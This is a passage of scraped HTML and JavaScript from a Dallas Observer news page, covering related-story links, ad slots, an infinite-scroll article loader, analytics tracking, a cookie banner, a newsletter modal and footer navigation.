Light on Victims of Human Trafficking</a></li> <li><a href="https://www.dallasobserver.com/news/professional-troll-alex-stein-touts-bid-for-highland-park-isd-school-board-15785826" content-oid="15785826">Can Alex Stein Troll His Way onto the Highland Park ISD School Board?</a></li> <li><a href="https://www.dallasobserver.com/news/new-trash-recycling-schedule-in-dallas-caused-delays-and-missed-service-15780821" content-oid="15780821">New Trash, Recycling Schedule in Dallas Caused Delays and Missed Service</a></li> </ul> </div> <div class="fdn-latest-stories-footer"> <a href="https://www.dallasobserver.com/news">More</a> </div> </div> <script> if (typeof Foundation.latestScrollOnClick !== 'function') { Foundation.latestScrollOnClick = function (e) { const currenTarget = jQuery(e.target); const contentOid = currenTarget.attr('content-oid'); if (contentOid) { const contentContainer = jQuery(`[fdn-content-multi-item="${contentOid}"]`); if (contentContainer.length) { e.preventDefault(); const topOffset = contentContainer.offset().top - 100; window.scrollTo({ top: topOffset, behavior: 'smooth' }) } } } jQuery('[data-component-id="ContentMultipleRow"], [data-component-id="ContentRowMultiple"]') .on("click", '[data-component-id="LatestStories"] a', Foundation.latestScrollOnClick); } </script> </div> <div class="ZoneA AirAvantisRightColBelowBillboardresponsive uk-margin-remove-top uk-margin-medium-bottom uk-root fdn-margin-vert AirAvantisRightColBelowBillboard comp-shell-avantis" data-component-id="AirAvantisRightColBelowBillboard"> <div id="avantis-test-1" class="avantis"></div> </div> <hidden hidden> <div class="ZoneA AirMediumRectangleRightColBelowBillboardresponsive uk-margin-remove fdn-labeled uk-root fdn-margin-vert AirMediumRectangleRightColBelowBillboard comp-" data-component-id="AirMediumRectangleRightColBelowBillboard" fdn-ad-component> <div apn-ad-hook="rectangle" display-targets="desktop"> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </hidden> </div> </div> </div> </div> </div> <div class="ZoneA AirSellWildBetweenContentresponsive uk-root fdn-margin-vert AirSellWildBetweenContent comp-" data-component-id="AirSellWildBetweenContent"> <sellwild></sellwild> </div> <div class="content-multiple-item" fdn-content-multi-item="15799410" fdn-content-multi-item-headline="Dallas Eyes Legal Path Forward for Poker Clubs" fdn-content-multi-item-permalink="/news/dallas-eyes-legal-path-forward-for-poker-clubs-15799410" fdn-content-multi-item-canonical="https://www.dallasobserver.com/news/dallas-eyes-legal-path-forward-for-poker-clubs-15799410" fdn-content-multi-item-title="Dallas Eyes Legal Path Forward for Poker Clubs" fdn-content-multi-item-thumb="https://media2.dallasobserver.com/dal/imager/u/slideshow/15799418/texasholdem_shutterstock.jpg?cb=1674774027" fdn-content-multi-item-thumb-width="1524" fdn-content-multi-item-thumb-height="1017" fdn-content-multi-item-index="2" ga-dimension2="News" ga-dimension3="15799410" ga-dimension4="2023-01-27 04:00:00" ga-dimension5="City Hall%Dallas County%Texas Legislature" ga-dimension6="Jacob Vaughn" ga-dimension7="Articles" fdn-content-multi-item-loader="fetch"> </div> <hidden hidden> <div class="ZoneA AirLeaderboardBetweenContentresponsive Leaderboard uk-margin-small uk-width-1-1 fdn-labeled uk-flex uk-flex-row uk-flex-around uk-root fdn-margin-vert AirLeaderboardBetweenContent comp-" data-component-id="AirLeaderboardBetweenContent" fdn-ad-component> <div apn-ad-hook="leaderboardBetweenContent" display-targets="desktop|mobile"> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </hidden> <div class="content-multiple-item" fdn-content-multi-item="15785824" fdn-content-multi-item-headline="Dallas County v. Texas: Commissioners Could Sue if State Doesn&#39;t Provide Mental Health Beds" fdn-content-multi-item-permalink="/news/dallas-county-threatens-lawsuit-if-state-doesnt-provide-mental-health-beds-for-inmates-15785824" fdn-content-multi-item-canonical="https://www.dallasobserver.com/news/dallas-county-threatens-lawsuit-if-state-doesnt-provide-mental-health-beds-for-inmates-15785824" fdn-content-multi-item-title="Dallas County v. Texas: Commissioners Could Sue if State Doesn&#39;t Provide Mental Health Beds" fdn-content-multi-item-thumb="https://media2.dallasobserver.com/dal/imager/u/slideshow/15798197/dallasjailsystem_pabloiglesias.jpg?cb=1674771157" fdn-content-multi-item-thumb-width="1524" fdn-content-multi-item-thumb-height="975" fdn-content-multi-item-index="3" ga-dimension2="News" ga-dimension3="15785824" ga-dimension4="2023-01-27 04:00:00" ga-dimension5="Courts%Crime%Dallas County%Healthcare%News" ga-dimension6="Simone Carter" ga-dimension7="Articles" fdn-content-multi-item-loader="fetch"> </div> <hidden hidden> <div class="ZoneA AirLeaderboardBetweenContentresponsive Leaderboard uk-margin-small uk-width-1-1 fdn-labeled uk-flex uk-flex-row uk-flex-around uk-root fdn-margin-vert AirLeaderboardBetweenContent comp-" data-component-id="AirLeaderboardBetweenContent" fdn-ad-component> <div apn-ad-hook="leaderboardBetweenContent" display-targets="desktop|mobile"> <script> if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } </script> </div> </div> </hidden> <script> if (typeof Foundation === 'undefined') window.Foundation = {}; // Prevent the browser from trying to scroll to the last scroll position before reload if (history.scrollRestoration) { history.scrollRestoration = 'manual' } var reflowRightColumnTimeout = null var reflowRightColumnItems = function () { clearTimeout(reflowRightColumnTimeout) reflowRightColumnTimeout = setTimeout(function () { var expandHeightToPosition = function (element, bottomPosition) { var element = jQuery(element) element.css({ height: 'auto', marginTop: 0, marginBottom: 0, }) // Reset height var elementNaturalHeight = element.height() var elementTopOffset = element.offset().top var elementHeight = Math.max(elementNaturalHeight, bottomPosition - elementTopOffset) element.css({ height: elementHeight + 'px' }) } jQuery('[distribute-right-column-items]').each(function () { var rightColMargin = 30 var contentRow = jQuery(this).closest('[fdn-content-multi-item]') var mainColumnLastChild = contentRow.find('[main-column] > :last-child') var mainColumnBottom = mainColumnLastChild.offset().top + mainColumnLastChild.height() var billboard = contentRow.find('[inline-content-billboard]') var billboardIsVisible = billboard.length > 0 && billboard.closest('[hidden]').length === 0 if (billboardIsVisible) { var billboardTopOffset = billboard.offset().top var billboardHeight = billboard.height() // Build out base column heights var beforeBillboard = contentRow.find('.beforeBillboard') expandHeightToPosition(beforeBillboard, billboardTopOffset - rightColMargin) var billboardSpacer = contentRow.find('.billboardSpacer') billboardSpacer.css({ pointerEvents: 'none', height: billboardHeight + 'px', marginTop: rightColMargin + 'px', marginBottom: rightColMargin + 'px', }) } var afterBillboard = contentRow.find('.afterBillboard') expandHeightToPosition(afterBillboard, mainColumnBottom) }) }, 100) } Foundation.MultiItem = Foundation.MultiItem || function (options = {}) { var multiItemId = options.id || '' var componentSelector = options.componentSelector || '[data-component-id="ContentRowMultiple"]' var itemSelector = options.itemSelector || '[fdn-content-multi-item]' var scrollOffset = options.scrollOffset || -105 var contentOidAttr = 'fdn-content-multi-item' var headlineAttr = 'fdn-content-multi-item-headline' var permaLinkAttr = 'fdn-content-multi-item-permalink' var canonicalAttr = 'fdn-content-multi-item-canonical' var titleAttr = 'fdn-content-multi-item-title' var thumbAttr = 'fdn-content-multi-item-thumb' var thumbWidthAttr = 'fdn-content-multi-item-thumb-width' var thumbHeightAttr = 'fdn-content-multi-item-thumb-height' var contentLoaderAttr = 'fdn-content-multi-item-loader' var originUrl = window.location.href var currentIndex = 0 var cmInstance = this var onScrollTimeout = null var onItemChangeTimeout = null function ActionQueue () { var actions = [] var doingActions = false var doActions = function () { var nextAction = dequeue() if (nextAction) { doingActions = true var result = nextAction() doActions() } else { doingActions = false } } function dequeue () { return actions.shift() } this.push = function (action) { if (typeof action === 'function') { actions.push(action) if (!doingActions) { doActions() } } } } this.queue = new ActionQueue() this.items = [] jQuery(componentSelector).find(itemSelector).each(function () { cmInstance.items.push(this) }) // Percentage of view from top to bottom of window this.inViewThreshold = options.inViewThreshold || 0.5 Object.defineProperties(this, { 'id': { get: function() { return multiItemId || 'idNotSupplied' } }, 'currentItemIndex': { get: function() { return currentIndex || 0 } }, 'currentItem': { get: function() { return jQuery(this.items[currentIndex])[0] || null } }, 'currentPermaLink': { get: function() { return (jQuery(this.currentItem).attr(permaLinkAttr) || '').trim() } }, 'currentCanonical': { get: function() { return (jQuery(this.currentItem).attr(canonicalAttr) || '').trim() } }, 'currentThumb': { get: function() { return (jQuery(this.currentItem).attr(thumbAttr) || '').trim() } }, 'currentTitle': { get: function() { return (jQuery(this.currentItem).attr(titleAttr) || '').trim() } }, 'currentHeadline': { get: function() { return (jQuery(this.currentItem).attr(headlineAttr) || '').trim() } } }) this.headlineAtIndex = function (index) { return (jQuery(this.items[index]).attr(headlineAttr) || '').trim() } this.permalinkAtIndex = function (index) { return (jQuery(this.items[index]).attr(permaLinkAttr) || '').trim() } this.setToIndex = function (index) { var nextIndex = Math.min(this.items.length - 1, index) // Clamp higher range of items nextIndex = Math.max(0, nextIndex) // Clamp lower range of items var topOffset = jQuery(this.items[nextIndex]).offset().top + scrollOffset window.scrollTo({ top: topOffset, behavior: 'smooth' }) if (currentIndex !== nextIndex) { clearTimeout(onScrollTimeout) onScrollTimeout = setTimeout(function() { // console.log('Foundation.MultiItem setToIndex') updateFurthestDownInView() }, 100); } } if (typeof options.onItemChange === 'function') { this.onItemChange = options.onItemChange } else { this.onItemChange = function () {} } var fireEvent = function (name, options) { var event = new Event(name) var jQevent = jQuery.Event(name) for (var property in options){ event[property] = options[property] jQevent[property] = options[property] } document.dispatchEvent(event) jQuery(document).trigger(jQevent) } var checkInView = function (element) { var boundingRect = jQuery(element)[0].getBoundingClientRect() var viewHeight = window.innerHeight var viewThreshold = viewHeight * cmInstance.inViewThreshold var boundingTop = boundingRect.top var boundingBottom = boundingRect.top + boundingRect.height var topInView = boundingTop > 0 && boundingTop < viewThreshold var bottomInView = boundingBottom > 0 && boundingBottom < viewThreshold var middleCoversView = boundingTop < 0 && boundingBottom > viewThreshold if (topInView || bottomInView || middleCoversView) { return true } return false } var updateFurthestDownInView = function () { var furthestInViewItem = null var furthestInViewIndex = 0 cmInstance.items.forEach(function (currentItem, index) { var currentInViewItem = jQuery(currentItem) // console.log(currentInViewItem) if (checkInView(currentInViewItem)) { if (furthestInViewItem === null) { furthestInViewItem = currentInViewItem furthestInViewIndex = index } else { var furthestInView = furthestInViewItem.position().top var currentInViewItemTop = currentInViewItem.position().top if (currentInViewItemTop > furthestInView) { furthestInViewItem = currentInViewItem furthestInViewIndex = index } } } }) if (furthestInViewIndex !== currentIndex) { currentIndex = furthestInViewIndex fireEvent('foundation:multiitem:itemchange') } } var fetchUnloadedItems = function () { var itemContainer = jQuery('[' + contentLoaderAttr + '="fetch"]').first() if (itemContainer.length) { var contentOid = itemContainer.attr(contentOidAttr) var params = { ajaxComponent: 'ContentRowMultiple', loadItemOid: contentOid, itemIndex: jQuery(`${itemSelector}`).index(itemContainer[0]) + 1, } var presentResult = function (resultHTML, loaderValue, callback) { if (loaderValue == 'remove') { itemContainer.removeAttr(contentLoaderAttr) } else { itemContainer.attr(contentLoaderAttr, loaderValue) } itemContainer.slideUp(500, function () { // var resultElements = jQuery.parseHTML(resultHTML, document, true) itemContainer.empty().append(resultElements).slideDown(300, function () { if (typeof callback === 'function') { callback() } var reflowSensor = new ResizeSensor(itemContainer, reflowRightColumnItems) }) }) } jQuery.ajax({ url: originUrl, type: 'GET', data: params, dataType: 'json', beforeSend: function () { presentResult('<div uk-spinner></div>', 'fetching') }, success: function (data) { // console.log(data.result, data.error, data) if (data) { if (data.error) { // presentResult('Trouble loading content.', 'error') } else if (data.result) { presentResult(data.result, 'remove', function () { cmInstance.queue.push(function () { if (typeof apntag === 'object') { apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } }) cmInstance.queue.push(reflowRightColumnItems) }) } else { // presentResult('How did we get here?', 'error') } } else { // presentResult('No result or error returned from content request.', 'error') } }, complete: function () { fireEvent('foundation:multiitem:itemLoaded', { objId: contentOid }) cmInstance.queue.push(fetchUnloadedItems) }, error: function (error) { // presentResult('Ajax request error.', 'error') } }) } } cmInstance.queue.push(reflowRightColumnItems) cmInstance.queue.push(fetchUnloadedItems) var reflowSensor = new ResizeSensor(cmInstance.items[0], reflowRightColumnItems) jQuery(document).on('scroll resize', function () { // Prevent rapid firing of event stuff clearTimeout(onScrollTimeout) onScrollTimeout = setTimeout(function() { // console.log('Foundation.MultiItem onScroll event') updateFurthestDownInView() }, 100); }) jQuery(document).on('foundation:multiitem:itemchange', function () { // Prevent rapid firing of event stuff clearTimeout(onItemChangeTimeout) onItemChangeTimeout = setTimeout(function() { // console.log('Foundation.MultiItem foundation:multiitem:itemchange event ') cmInstance.onItemChange() }, 100); }) }; Foundation.MultiItems = Foundation.MultiItems || { add: function (multiItem) { Foundation.MultiItems[multiItem.id] = multiItem; } }; Foundation.MultiItems.add(new Foundation.MultiItem({ id: 'ContentRowMultiple', onItemChange: function () { if (this.currentPermaLink) { var state = {} var title = '' var url = this.currentPermaLink history.pushState(state, title, url) } if (this.currentCanonical) { document.querySelector('meta[property*=og\\:url]').href = this.currentCanonical document.querySelector('link[rel*=canonical]').href = this.currentCanonical } if (this.currentThumb) { document.querySelector('link[rel*=image_src]').href = this.currentThumb document.querySelector('meta[name*=thumbnail]').content = this.currentThumb document.querySelector('meta[property*=og\\:image]').content = this.currentThumb document.querySelector('meta[name*=twitter\\:image]').content = this.currentThumb } if (this.currentTitle) { document.querySelector('title').text = this.currentTitle } // Google track pageview if (typeof ga === 'function') { ga('set', 'location', window.location.href) for (let i = 2; i <= 10; i++) { let currentDimension = jQuery(Foundation.MultiItems["ContentRowMultiple"].currentItem).attr('ga-dimension'+i) if (typeof currentDimension === 'string') { ga('set', 'dimension' + i, currentDimension) } else { ga('set', 'dimension' + i, '') } } ga('send', 'pageview') // // Track when scrolling to another item // const multiItemIndex = jQuery(Foundation.MultiItems["ContentRowMultiple"].currentItem).attr('fdn-content-multi-item-index') // if (multiItemIndex.match(/[23456789]/) !== null) { // ga("send", "event", "Article", "ArticleScrolled", multiItemIndex); // /* console.log(`sending ArticleScrolled ${multiItemIndex}`); */ // } } // Chartbeat track pageview if (typeof pSUPERFLY === 'object') { pSUPERFLY.virtualPage({ sections: jQuery(Foundation.MultiItems["ContentRowMultiple"].currentItem).attr('ga-dimension2') || '', authors: jQuery(Foundation.MultiItems["ContentRowMultiple"].currentItem).attr('ga-dimension6') || '', path: window.location.path, title: Foundation.MultiItems["ContentRowMultiple"].currentTitle || '' }) } } })) // // Track the first item on load. // jQuery(() => { // if (typeof ga === 'function') { // const multiItemIndex = jQuery(Foundation.MultiItems["ContentRowMultiple"].currentItem).attr('fdn-content-multi-item-index') // if (multiItemIndex.match(/\d/) !== null) { // ga("send", "event", "Article", "ArticleScrolled", multiItemIndex) // } // } // }) // if (typeof Foundation.Content !== 'object') { // function throwInExtraInsertions (oid) { var startIndex = 16; var objId = oid; var myBodyElement = jQuery(`[fdn-content-multi-item="${objId}"] .fdn-content-body`); var myParagraphTool = new window.Foundation.ParagraphTool(myBodyElement) // console.log(event, myBodyElement, myParagraphTool); if (typeof apntag === 'object') { apntag.anq.push(function() { // Throw in a placeholder after every 5th usable paragraph ending for (var i = startIndex; i < myParagraphTool.paragraphEndNodes.length; i++) { if (i % 4 === 0) { let currentNode = myParagraphTool.getNodeAtIndex(i); let myElement = jQuery('<hidden hidden></hidden'); myElement.html(` <div class="uk-padding-remove fdn-override-width-1-1"> <div class="ZoneA AirMediumRectangleInlineContentMobileDisplaySize2responsive uk-margin-remove fdn-labeled uk-root fdn-margin-vert AirMediumRectangleInlineContentMobileDisplaySize2 comp-" data-component-id="AirMediumRectangleInlineContentMobileDisplaySize2" fdn-ad-component> <div apn-ad-hook="rectangle" display-targets="mobile"></div> </div> </div>`) if (myParagraphTool.isBrParagraphBreakBeforeBlockElement(currentNode)) { myElement.find('> div').css({ width: '100%', minHeight:'30px', margin: '30px 0 30px 0', }); } else { myElement.find('> div').css({ width: '100%', minHeight:'30px', margin: '0 0 30px 0', }); } myParagraphTool.insertElemenAtIndex(myElement, i); } } }); apntag.anq.push(function() { if (typeof Foundation.ApnAds.fillAds === 'function') { Foundation.ApnAds.fillAds() } }) } } throwInExtraInsertions(7117785); jQuery(document).on('foundation:multiitem:itemLoaded', function (event) { throwInExtraInsertions(event.objId); }) } // if (typeof window.apntag === 'object' && typeof window.apntag.onEvent === 'function') { window.apntag.onEvent('adLoaded', reflowRightColumnItems) } // if (typeof twttr === 'object' && typeof twttr.ready === 'object' && typeof twttr.events === 'object') { twttr.events.bind('rendered', reflowRightColumnItems) } // jQuery(window).on('scroll', reflowRightColumnItems) </script> </div> </div> </div> <div class="ev-grid-zone ev-column-zone uk-flex uk-flex-wrap uk-child-width-1-2@m"> <div class="ev-grid-col" data-ev-zone="ZoneB"> </div> <div class="ev-grid-col" data-ev-zone="ZoneC"> </div> </div> <div class="ev-grid-zone ev-secondary-zone" data-ev-zone="ZoneD"> <div class="ev-grid-col uk-width-1-1"> </div> </div> <div class="ev-grid-zone ev-footer-zone" data-ev-zone="GlobalFooter"> <div class="ev-grid-col uk-width-1-1"> <div class="GlobalFooter ContentDefaultMultiple uk-root fdn-margin-vert CookieConsent comp-shell-cookieconsent" data-component-id="CookieConsent"> <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.css" /> <script src="https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.js" data-cfasync="false"></script> <script> jQuery(() => { window.cookieconsent.initialise({ "palette": { "popup": { "background": "#000" }, "button": { "background": "#f1d600" } }, "content": { "message": "We use cookies to collect and analyze information \n on site performance and usage, and to enhance and \n customize content and advertisements. \n By clicking 'Got it' or continuing to use the site, \n you agree to allow cookies to be placed. \n To find out more, visit our \n <a href=\"\/about\/cookies\">cookies policy<\/a> and our \n <a href=\"\/about\/privacy-policy\">privacy policy<\/a>.", "link": "", "href": "" } }); }); </script> </div> <div class="GlobalFooter ContentDefaultMultiple uk-root fdn-margin-vert NewsletterModal comp-newsletter-newslettermodal" data-component-id="NewsletterModal"> <div id="NewsletterModal" class="uk-flex-top" uk-modal> <div class="uk-modal-dialog uk-modal-body uk-padding-remove"> <div class="uk-flex uk-flex-right"> <button class="uk-modal-close-default uk-position-top-right" type="button" uk-close onClick="ga('send', 'event', 'SubscribeModal', 'Click', 'CloseX', {'nonInteraction': 1});"></button> </div> <div class="uk-flex fdn-newsletter-modal-wrap"> <div class="fdn-newsletter-modal-left uk-flex uk-flex-middle"> <p class="uk-margin-auto">Join the Observer community and help support independent local journalism in Dallas.</p> </div> <div class="fdn-newsletter-modal-right uk-flex-1 uk-flex uk-flex-column uk-flex-wrap uk-padding-small"> <div class="fdn-newsletter-modal-logo uk-flex uk-flex-bottom uk-margin-medium-top uk-margin-medium uk-margin-small"> <img src="/images/dal-main-logo.png" alt="Dallas Observer"> <span>Insiders</span> </div> <div class="fdn-newsletter-modal-text-block uk-margin-xsmall"> <p class="uk-margin-xsmall"> Get the latest updates in news, food, music and culture, and receive special offers direct to your inbox. </p> <div class="uk-flex uk-flex-wrap fdn-newsletter-modal-sign-up-block"> <a href="#newsletterSignUp" class="pelcro-subscribe-button fdn-newsletter-modal-sign-up-link" data-product-id="" data-vmgs-psource="Pop Up|News" data-vmgs-section="News" onClick="ga('send', 'event', 'SubscribeModal', 'Click', 'News', {'NonInteraction': 1});"> Sign Up Now <i class="far fa-sm fa-chevron-right"></i> </a> <a href="#noThanks" class="fdn-newsletter-modal-no-thanks-link uk-modal-close" onClick="ga('send', 'event', 'SubscribeModal', 'Click', 'NoThanks', {'nonInteraction': 1});"> No Thanks </a> </div> </div> <div class="fdn-newsletter-modal-text-block uk-margin-xsmall"> <p class="uk-margin-xsmall"> Become a member and go ad-free! </p> <div class="uk-flex uk-width-1-1"> <a href="/i-support" class="fdn-newsletter-modal-support-link" onClick="ga('send', 'event', 'SubscribeModal', 'Click', 'Pelcro-Support', {'NonInteraction': 1});"> Support Our Journalism <i class="far fa-sm fa-chevron-right"></i> </a> </div> </div> <div class="fdn-newsletter-modal-footer uk-text-right uk-margin-auto-top"> <a href="/about/privacy-policy" target="_blank">Privacy Policy</a> </div> </div> </div> </div> </div> <script> if (window.innerWidth < Foundation.ApnAds.tabletWidth) { jQuery('[data-component-id="NewsletterModal"]').remove(); // const psourceAttr = `data-vmgs-psource`; // const psource = jQuery(`[${psourceAttr}]`); // psource.attr(psourceAttr, `${psource.attr(psourceAttr)}-Mobile`); } else if (window.innerWidth >= Foundation.ApnAds.tabletWidth) { jQuery(document).on('PelcroSiteLoaded', function (e) { var modalElement = jQuery('#NewsletterModal') var modalCookieKey = 'fdn_nlmc' var modalCookieValue = null var modalCookieValueDisplayed = 'displayed' var modalCookieValueClosed = 'CloseX' var modalCookieValueNoThanks = 'NoThanks' var closeForDays = 15 var closeForDaysInSeconds = 60 * 60 * 24 * closeForDays var closeForDaysMaxAge = 'max-age=' + closeForDaysInSeconds var dateNow = new Date() var dateInTwoCenturies = new Date(dateNow.setFullYear(dateNow.getFullYear() + 200)) var dateExpiresLongTime = 'expires=' + dateInTwoCenturies var cookieList = document.cookie.split('; ') var modalCookie = cookieList.find(item => item.startsWith(modalCookieKey)) if (modalCookie) { modalCookieValue = modalCookie.split('=')[1] } var alreadyShown = new RegExp(`^${modalCookieValueDisplayed}|${modalCookieValueClosed}|${modalCookieValueNoThanks}$`) var domainValue = 'domain=' + ('.' + window.location.host.match(/[\w\d_]*\.[\w\d_]*$/)[0] || window.location.host); var modalTimeout = setTimeout(function () { if (window.Foundation && Foundation.Pelcro && Foundation.Pelcro.init) { // Make sure pelcro is ready so signup links work if (typeof(Pelcro) === "object") { if (modalCookieValue && modalCookieValue?.match(alreadyShown)) { // console.log('Newsletter signup modal already displayed.') return } else { UIkit.modal(modalElement).show(); document.cookie = `${modalCookieKey}=${modalCookieValueDisplayed}; ${domainValue}` } } } }, 10000) modalElement.on('click', '[uk-close]', function () { document.cookie = `${modalCookieKey}=${modalCookieValueClosed}; ${closeForDaysMaxAge}; ${domainValue}` }) modalElement.on('click', '[href="#noThanks"]', function () { document.cookie = `${modalCookieKey}=${modalCookieValueNoThanks}; ${dateExpiresLongTime}; ${domainValue}` }) // modalElement.on('click', '[href=#newsletterSignUp]', function () { // UIkit.modal(modalElement).hide() // }) }) } </script> </div> <div class="GlobalFooter ContentDefaultMultiple uk-margin-remove uk-root fdn-margin-vert SiteFooterCustom comp-shell-sitefooter" data-component-id="SiteFooterCustom"> <div class="fdn-custom-footer-navigation-link-block fdn-custom-footer-navigation-link-block-wide uk-visible@s"> <div class="uk-flex uk-child-width-1-5 fdn-custom-footer-navigation-link-block-wide-columns"> <div class="fdn-custom-footer-navigation-link-block-column fdn-custom-footer-navigation-link-block-issue-block"> <a href="https://Voice-Media-Group.dcatalog.com/v/Dallas-Observer-flipbook-01-26-23/" class="uk-display-block" onclick="ga('send', 'event', 'VMG-Widget', 'Click', 'News-VMG-Flipbook-Cover', {'NonInteraction': 1});" title=""> <img uk-img="" data-src="/imager/b/r-cover/15787615/6446/cover.jpg" alt="" width="600" height="665" class="no-foundation-imgeditor" /> <h4 class="uk-margin-small-top uk-margin-remove-bottom"> This Week's Issue </h4> </a> </div> <div class="fdn-custom-footer-navigation-link-block-column"> <ul class="uk-list"> <li class="fdn-custom-footer-navigation-link-block-column-header"> <a href="https://www.dallasobserver.com/" title="" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Editorial')" > Editorial </a> </li> <li> <a href="https://www.dallasobserver.com/" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Homepage')" title=""> Homepage </a> </li> <li> <a href="https://www.dallasobserver.com/news" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'News')" title=""> News </a> </li> <li> <a href="https://www.dallasobserver.com/restaurants" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Food & Drink')" title=""> Food &amp; Drink </a> </li> <li> <a href="https://www.dallasobserver.com/arts" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Arts & Culture')" title=""> Arts &amp; Culture </a> </li> <li> <a href="https://www.dallasobserver.com/music" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Music')" title=""> Music </a> </li> <li> <a href="https://www.dallasobserver.com/guide/dallas-restaurants" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Restaurant Guide')" title=""> Restaurant Guide </a> </li> </ul> </div> <div class="fdn-custom-footer-navigation-link-block-column"> <ul class="uk-list"> <li class="fdn-custom-footer-navigation-link-block-column-header"> <a href="https://www.dallasobserver.com/promotions" title="" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Marketing')" > Marketing </a> </li> <li> <a href="https://www.dallasobserver.com/profile?newsletter=12038512" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Promotions Newsletter')" title=""> Promotions Newsletter </a> </li> <li> <a href="https://www.dallasobserver.com/about/flipbooks" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Flipbooks')" title=""> Flipbooks </a> </li> </ul> </div> <div class="fdn-custom-footer-navigation-link-block-column"> <ul class="uk-list"> <li class="fdn-custom-footer-navigation-link-block-column-header"> <a href="https://www.dallasobserver.com/about" title="" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'More')" > More </a> </li> <li> <a href="https://www.dallasobserver.com/about" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'About Us')" title=""> About Us </a> </li> <li> <a href="https://www.dallasobserver.com/about/staff" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Staff')" title=""> Staff </a> </li> <li> <a href="https://www.dallasobserver.com/about/careers" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Observer Careers')" title=""> Observer Careers </a> </li> <li> <a href="https://www.dallasobserver.com/about/circulation" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Circulation')" title=""> Circulation </a> </li> <li> <a href="https://adindex.dallasobserver.com/classifieds" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Classifieds')" title=""> Classifieds </a> </li> <li> <a href="https://www.dallasobserver.com/advertise" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Local Advertising')" title=""> Local Advertising </a> </li> <li> <a href="https://www.dallasobserver.com/about/terms-of-use" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Terms of Use')" title=""> Terms of Use </a> </li> <li> <a href="https://www.dallasobserver.com/about/privacy-policy" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Privacy Policy')" title=""> Privacy Policy </a> </li> <li> <a href="https://www.dallasobserver.com/about/contact" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Contact Us')" title=""> Contact Us </a> </li> </ul> </div> <div class="fdn-custom-footer-navigation-link-block-column"> <ul class="uk-list"> <li class="fdn-custom-footer-navigation-link-block-column-header"> <a href="#" title="" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Back to Top')" uk-totop uk-scroll> Back to Top </a> </li> <li> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'California Privacy Policy')" title=""> California Privacy Policy </a> </li> <li> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy#CollectionNotice" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'California Collection Notice')" title=""> California Collection Notice </a> </li> <li> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy#DoNotSell" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Do Not Sell My Info')" title=""> Do Not Sell My Info </a> </li> </ul> <div class="fdn-custom-footer-navigation-link-social-block"> <a class="fdn-custom-footer-navigation-link-social-facebook" href="https://www.facebook.com/DallasObserver" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Facebook')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-facebook"></i> </a> <a class="fdn-custom-footer-navigation-link-social-instagram" href="https://www.instagram.com/dallasobserver/" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Instagram')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-instagram"></i> </a> <a class="fdn-custom-footer-navigation-link-social-twitter" href="https://twitter.com/dallas_observer" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Twitter')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-twitter"></i> </a> </div> </div> </div> </div> <div class="fdn-custom-footer-navigation-link-block fdn-custom-footer-navigation-link-block-narrow uk-hidden@s"> <div class="fdn-custom-footer-navigation-link-block-narrow-rows"> <div class="fdn-custom-footer-navigation-link-block-row"> <ul class="uk-nav-default uk-nav-parent-icon" uk-nav="multiple: false"> <li class="uk-parent"> <a href="https://www.dallasobserver.com/" target="_self" class="fdn-custom-footer-navigation-link-block-row-header" > Editorial </a> <ul class="uk-nav-sub uk-child-width-1-2 uk-flex uk-flex-wrap"> <li> <a href="https://www.dallasobserver.com/" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Homepage')" title=""> Homepage </a> </li> <li> <a href="https://www.dallasobserver.com/news" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'News')" title=""> News </a> </li> <li> <a href="https://www.dallasobserver.com/restaurants" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Food & Drink')" title=""> Food &amp; Drink </a> </li> <li> <a href="https://www.dallasobserver.com/arts" target="_self" onclick="ga('send', 